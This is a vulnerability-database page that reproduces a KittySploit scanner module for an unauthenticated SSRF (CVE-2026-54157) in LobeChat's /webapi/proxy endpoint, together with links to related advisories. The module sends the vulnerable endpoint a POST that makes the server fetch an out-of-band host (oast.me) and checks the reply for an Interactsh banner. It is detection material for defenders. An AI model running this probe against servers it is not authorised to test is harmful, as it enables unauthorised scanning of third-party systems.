Lucene search
+L

LobeHub LobeChat <= 2.1.56 - Server-Side Request Forgery Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 6 Views

Unauthenticated SSRF in LobeHub LobeChat via the /webapi/proxy endpoint.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2026-54157
23 Jun 202617:43
–attackerkb
circl
Circl
CVE-2026-54157
23 Jun 202620:17
–circl
cve
CVE
CVE-2026-54157
23 Jun 202617:43
–cve
cvelist
Cvelist
CVE-2026-54157 LobeHub: Unauthenticated SSRF in `/webapi/proxy`
23 Jun 202617:43
–cvelist
euvd
EUVD
EUVD-2026-38555
23 Jun 202617:43
–euvd
github
Github Security Blog
LobeHub: Unauthenticated SSRF in `/webapi/proxy`
16 Jun 202620:15
–github
mend
Mend
CVE-2026-54157
23 Jun 202617:43
–mend
nuclei
Nuclei
LobeHub LobeChat <= 2.1.56 - Server-Side Request Forgery
14 Oct 202602:05
–nuclei
nvd
NVD
CVE-2026-54157
23 Jun 202618:18
–nvd
osv
OSV
GHSA-XMWJ-C75X-6346 LobeHub: Unauthenticated SSRF in `/webapi/proxy`
16 Jun 202620:15
–osv
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""LobeHub LobeChat versions up to and including 2."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'LobeHub LobeChat <= 2.1.56 - Server-Side Request Forgery Detection',
        'description': 'LobeHub LobeChat versions up to and including 2.1.56 are vulnerable to an unauthenticated server-side request forgery vulnerability in the /webapi/proxy endpoint. The endpoint accepts a URL in the POST request body and fetches it server-side without authentication.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2026', 'lobechat', 'ssrf', 'vuln', 'unauth'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://github.com/lobehub/lobehub/security/advisories/GHSA-xmwj-c75x-6346',
            'https://nvd.nist.gov/vuln/detail/CVE-2026-54157',
        ],
        'cve': 'CVE-2026-54157',
    }

    def run(self):
        path = '/welcome'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return False
        path = '/webapi/proxy'
        r = self.http_request(method='POST', path=path, allow_redirects=False, data='http://oast.me\n')
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_any = ('<h1> Interactsh Server </h1>',)
        if any(m in body for m in body_any):
            self.set_info(severity='medium', reason='LobeHub LobeChat <= 2.1.56 - Server-Side Request Forgery detected', path=path)
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
5.6Medium risk
Vulners AI Score5.6
CVSS 3.19
EPSS0.0183
SSVC
6